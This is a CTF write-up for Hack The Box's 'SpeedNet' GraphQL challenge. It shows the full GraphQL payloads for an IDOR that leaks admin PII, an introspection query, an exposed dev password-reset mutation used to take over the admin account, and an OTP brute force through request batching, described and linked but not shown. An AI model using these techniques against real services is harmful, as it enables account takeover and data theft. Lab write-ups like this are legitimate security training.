HTB Challenge Writeup: SpeedNet

Hack The Box walkthrough with Node.js OTP brute-force script included

Challenge Description

SpeedNet is an ISP platform. Join our bug bounty to find vulnerabilities and retrieve the hidden flag. Test using the email service at
http://IP:PORT/emails/
 Use: test@email.htb


Initial Recon

I began by exploring the application, registering a test account, and creating a visual map of the platform’s flow:

Next, I checked the /emails/ endpoint as mentioned in the challenge description:

After signing up with the provided test email, I received a welcome message:


GraphQL Exploration

The application communicates using GraphQL. Upon inspecting the network traffic, I noticed that in two API calls, the userId field can be tampered with to fetch information of other users:

I discovered that only one other user exists: userId: 1, which is the admin. Here’s how I confirmed that:

# Request
{
"query": "query ($userId: Int!) { userProfile(userId: $userId) { id nextBillingDate plan planStatus } }",
"variables": { "userId": 1 }
}
# Response
{
"data": {
"userProfile": {
"id": 1,
"nextBillingDate": null,
"plan": "BASIC",
"planStatus": "TRIAL"
}
}
}

We can also extract PII (Personally Identifiable Information):

# Request
{
"query": "query GetUserProfile($userId: Int!) { userProfile(userId: $userId) { id email firstName lastName address phoneNumber twoFactorAuthEnabled } }",
"variables": { "userId": 1 }
}
# Response
{
"data": {
"userProfile": {
"id": 1,
"email": "admin@speednet.htb",
"firstName": "Arnold",
"lastName": "Robin",
"address": "West Land 123",
"phoneNumber": "08718881012211",
"twoFactorAuthEnabled": true
}
}
}

GraphQL Introspection

I attempted an introspection query to discover more functions:

{
"query": "query IntrospectionQuery { __schema { types { name kind description fields { name description args { name description type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }"
}

Among the exposed schema, one function stood out: devForgotPassword.


Resetting the Admin Password

I triggered a password reset for the admin:

{
"query": "mutation { devForgotPassword(email: \"admin@speednet.htb\") }"
}

It returned a valid reset token! Using this, I successfully changed the admin’s password:

{
"query": "mutation ResetPassword($token: String!, $newPassword: String!) { resetPassword(token: $token, newPassword: $newPassword) }",
"variables": {
"token": "4e1eca2a-f33b-4311-a030-ca50c9e22d52",
"newPassword": "newadminpass123"
}
}

Now, we have valid admin credentials — but due to 2FA, we still need to pass the OTP step.


Bypassing 2FA Using GraphQL Batching

The platform supports GraphQL batching, meaning we can send multiple OTP guesses in a single request. I wrote a Node.js script that:

  • Starts from OTP 1000 up to 999999
  • Sends requests in batches
  • Introduces a delay between each batch to avoid rate limiting

✅ The brute-force script is included in the GitHub repo linked below.

Once the correct OTP was discovered, I received a valid JWT auth token for the admin account.


Retrieving the Flag

With the admin’s auth token, I queried the invoice data. One of the objects in the response contained the flag embedded as the invoice number.


Source Code

The OTP brute-force script (Node.js) used to exploit the 2FA weakness is available here:

GitHub – sahandbabali/Hack-The-Box—SpeedNet: The OTP brute-force script (Node.js) used to exploit…
The OTP brute-force script (Node.js) used to exploit the 2FA – sahandbabali/Hack-The-Box—SpeedNetgithub.com

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top